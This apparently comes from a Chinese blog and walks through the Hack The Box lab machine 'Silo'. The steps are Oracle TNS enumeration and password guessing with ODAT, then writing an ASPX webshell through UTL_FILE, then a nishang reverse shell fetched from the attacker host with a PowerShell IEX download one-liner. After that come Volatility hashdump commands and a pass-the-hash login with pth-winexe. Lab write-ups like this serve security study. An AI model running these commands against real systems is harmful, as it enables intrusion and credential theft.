• 【Hack The Box】windows练习-- Silo


    HTB 学习笔记

    Hack The Box】windows练习-- Silo


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年10月31日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    信息收集

    吸取了上一个靶场的教训,我们先进行一个全端口的扫描

    80/tcp    open  http         Microsoft IIS httpd 8.5
    |_http-title: IIS Windows Server
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-server-header: Microsoft-IIS/8.5
    135/tcp   open  msrpc        Microsoft Windows RPC
    139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
    445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
    1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
    49154/tcp open  msrpc        Microsoft Windows RPC
    49155/tcp open  msrpc        Microsoft Windows RPC
    49159/tcp open  oracle-tns   Oracle TNS listener (requires service name)
    Aggressive OS guesses: Microsoft Windows Server 2012 R2 (95%), Microsoft Windows Server 2012 Data Center (92%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 (92%), Microsoft Windows Windows 7 SP1 (92%), Microsoft Windows Vista Home Premium SP1, Windows 7, or Windows Server 2008 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 7 SP1 (90%), Microsoft Windows Server 2012 or Server 2012 R2 (90%), Microsoft Windows Server 2016 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 (90%)
    No exact OS matches for host (test conditions non-ideal).
    Network Distance: 2 hops
    Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb-security-mode: 
    |   authentication_level: user
    |   challenge_response: supported
    |_  message_signing: supported
    | smb2-time: 
    |   date: 2022-10-30T09:25:06
    |_  start_date: 2022-10-30T09:04:40
    | smb2-security-mode: 
    |   302: 
    |_    Message signing enabled but not required
    |_clock-skew: mean: -1s, deviation: 0s, median: -1s
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    icrosoft Windows Server 2008 R2 - 2012 microsoft-ds

    脆弱点寻找

    在这里插入图片描述smb服务没有发现明显可用的漏洞
    在这里插入图片描述
    我尝试着理解了针对iis的漏洞,首先它需要我们具有一个登陆页面,但是我用了很多的扫描方法,都没有收获
    于是还剩下一个

    1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)

    经过不断的寻找
    在这里插入图片描述
    我发现我对于oracle并没有什么头绪
    我仅仅掌握了如何爆破,可我没有任何的信息,这令我很苦恼

    于是我开始寻找有关的资料
    在这里插入图片描述
    然后我找到了他,接下来我尝试利用它

    在终端直接输入odat会自动安装,接下来我只需要找一些他的usage

    接下来关于odat的一些命令都在这里了

    odat利用

    1. 枚举id
    odat sidguesser -s 10.129.7.193
    2. 查看是否可打
    odat tnspoison -s 10.10.10.82 -d XE --test-module
    xe是刚才枚举出的id
    3. 爆破密码
    odat passwordguesser -d XE -s 10.129.7.193 -p 1521 --accounts-file  /usr/share/odat/accounts/accounts.txt
    4. 登陆枚举
    用native或者sqlplus
    sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    但是他并不起作用
    所以我们接着尝试爆破数据库账号密码
    在这里插入图片描述

    链接数据库

    这里可以使用很多方法,但是我更推荐sqlplus,因为他高效,简便
    在这里插入图片描述
    在这里插入图片描述同样的,sqlplus也可以正常的连接
    在这里插入图片描述
    一旦您以 sysdba 身份登录,我们就能够运行编写特殊脚本,从而使我们能够使用 UTL_FILE 包读取/写入文件。
    这就是根本的原理
    但要注意这里有限制,必须在一行,并且小于1000个字符
    所以我推荐直接使用现成的payload

    在这里插入图片描述

    
    ```clike
    . webshell/payload
    --------------------------------------
    sed -z 's/\n//g' cmdasp.aspx
    必要时用上面的命令使其变成一行
    
    declare
        f utl_file.file_type;
        s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %>
    "cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px">asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click">asp:Button><asp:Label id="lblText" runat="server">Command:asp:Label>
    '; begin f:= utl_file.fopen('/inetpub/wwwroot', 'peng.aspx', 'W'); utl_file.put_line(f,s); utl_file.fclose(f); end; / ------------------------------------------ 6. 然后url直接访问10.10.10.82/peng.aspx即可获取webshell,后续借助nishang(win)就可以反弹shell
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    
    
    这里只有简单的窗口,所以在这里我不建议大家使用复杂的反弹shell
    使用nishang
    方便快捷,并且直接拿到power shell
    
    
    ```clike
    kali执行
    cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
    mv Invoke-PowerShellTcp.ps1 shell.ps1
    python3 -m http.server 80
    nc -nvlp 6969
    
    网页执行
    powershell IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.16.3/shell.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -port 6969
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    在这里插入图片描述我们在用户的桌面上发现了两个txt文件,拿来看看

    Get-Content “Oracle issue.txt”
    发现告诉了你一个密码,还有一个一个网址
    但是我们去访问,发现密码错误
    这是因为这是webshell的缘故
    所以在编码格式上存在一定的问题
    所以我们把它编码再拿回来解码

    直接执行下面这一大段就可以

    $fc = Get-Content "Oracle issue.txt"
    $fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
    [System.Convert]::ToBase64String($fe)
    
    • 1
    • 2
    • 3

    然后拿回来kali解码

    echo -n "U3VwcG9ydCB2ZW5kb3IgZW5nYWdlZCB0byB0cm91Ymxlc2hvb3QgV2luZG93cyAvIE9yYWNsZSBwZXJmb3JtYW5jZSBpc3N1ZSAoZnVsbCBtZW1vcnkgZHVtcCByZXF1ZXN0ZWQpOiAgRHJvcGJveCBsaW5rIHByb3ZpZGVkIHRvIHZlbmRvciAoYW5kIHBhc3N3b3JkIHVuZGVyIHNlcGFyYXRlIGNvdmVyKS4gIERyb3Bib3ggbGluayAgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2gvNjlza3J5emZzemI3ZWxxL0FBRFpuUUViYnFEb0lmNUwyZDBQQnhFTmE/ZGw9MCAgbGluayBwYXNzd29yZDogwqMlSG04NjQ2dUMk" | base64 -d
    
    • 1

    获得正确的密码£%Hm8646uC$
    并且得到了一个内存转储文件

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    电子取证

    首先,我们需要知道系统版本
    这可以用systeminfo来知晓
    而后得知
    Win2012R2x64
    再之后,开始提取hash值,事实上,我们应该干很多事在这之前,但那些都没有太大的必要

    分享一下应该注意的一些东西

    volatility -f win7.raw imageinfo  ##检测目标系统信息
    
    volatility -f win7.raw --profile=Win7SPIx64 pslist ##查看运行的进程信息
    
     volatility -f /root/桌面/mem.dump imageinfo  ##获取dump的版本
    
     volatility -f WIN2012R2x64.raw --profile=Win8SP0x64 filescan ##扫描内存中的文件
    
     volatility -f WIN2012R2x64.raw --profile=Win8SP0x64 hivelist  ##列举缓存在内存中的注册表
    
     volatility -f WIN2012R2x64.raw --profile=Win8SP0x64 printkey -K "SAM\Domains\Account\Users\Names"  ##查看系统用户名
    
     volatility -f win7.raw --profile=Win7SPIx64 filescan |grep txt  ##查看文件列表
    
     volatility -f win7.raw --profile=Win7SPIx64 dumpfile -Q 0x000007 -D dir  ##下载感兴趣的文件,#dir你保存的路径
    
     volatility -f win7.raw --profile=Win7SPIx64 hashdump  ##提取系统的账号密码
    
     volatility -f win7.raw --profile=Win7SPIx64 netscan |grep ESTABLISHED  ##查看网络通信连接
    
     volatility -f win7.raw --profile=Win7SPIx64 cmdscan  ##查看cmd历史记录
    
     volatility -f win7.raw --profile=Win7SPIx64 memdump -p 352 -D dir  ##导出nc进程传输的文件,352为nc的进程号 dir 为保存的路径
    
     foremost 352.dmp  ##分割dmp文件
    
     volatility -f easy_dump.img --profile=Win7SP1x64 filescan | grep  -E 'jpg|png|jpeg|bmp|gif'  ##查找镜像中的文件
    
    volatility -f mem.vmem --profile=WinXPSP2x86 userassist ##查看userassist键值包含系统或桌面执行文件的信息,如名称、路径、执行次数、最后一次执行时间等
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    当我们执行这条命令的时候,我们就可以获取admin登陆的hash凭据

    vol.py -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump
    
    • 1

    在这里插入图片描述

    hash凭据登陆

    pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //10.10.10.82 cmd
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    【SQL】Spark SQL 比较上下两条数据,多个字段多个条件,赋值一个结果字段成一个array,
    Java Web 8 HTTP&Tomcat&Servlet 8.3 Servlet
    C#开发的OpenRA游戏之游戏设计思路
    (31)Verilog实现单bit数据时钟域转换【快到慢】
    【Kaggle项目实战记录】一个图片分类项目的步骤和思路分享——以树叶分类为例(用Pytorch)
    基于蒙特卡诺的风场景模型出力(Matlab代码实现)
    ZFS文件系统预研资料
    1. 前缀码判定
    three.js 场景中如何彻底删除模型和性能优化
    大厂数仓专家实战分享:企业级埋点管理与应用
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127601914